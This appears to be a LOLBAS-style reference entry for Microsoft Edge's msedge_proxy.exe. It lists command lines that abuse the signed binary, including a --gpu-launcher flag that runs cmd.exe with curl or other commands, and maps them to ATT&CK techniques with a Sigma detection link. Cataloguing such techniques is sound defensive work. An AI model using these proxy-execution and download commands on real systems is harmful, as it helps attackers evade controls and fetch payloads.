.. /msedge_proxy.exe

Star

Paths:

• C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe

Acknowledgements:

• Mert Daş (@merterpreter)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/e1a713d264ac072bb76b5c4e5f41315a015d3f41/rules/windows/process_creation/proc_creation_win_susp_electron_execution_proxy.yml

Download

1. msedge_proxy will download malicious file.

   C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe http://example.com/test.zip

   Use case

   Download file from the internet

   Privileges required

   User

   Operating systems

   Windows 10, Windows 11

   ATT&CK® technique

   T1105

2. Edge will silently download the file.

   C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher="C:\\Windows\\System32\\cmd.exe /c curl ipinfo.io/json --output %USERPROFILE%\\Desktop\\test.json &&"

   Use case

   Download file from the internet

   Privileges required

   User

   Operating systems

   Windows 10, Windows 11

   ATT&CK® technique

   T1105

Execute

1. msedge_proxy.exe will execute file in the background

   C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe --disable-gpu-sandbox --gpu-launcher="C:\\Windows\\System32\\cmd.exe /c ping google.com &&"

   Use case

   Executes a process under a trusted Microsoft signed binary

   Privileges required

   User

   Operating systems

   Windows 10, Windows 11

   ATT&CK® technique

   T1218.015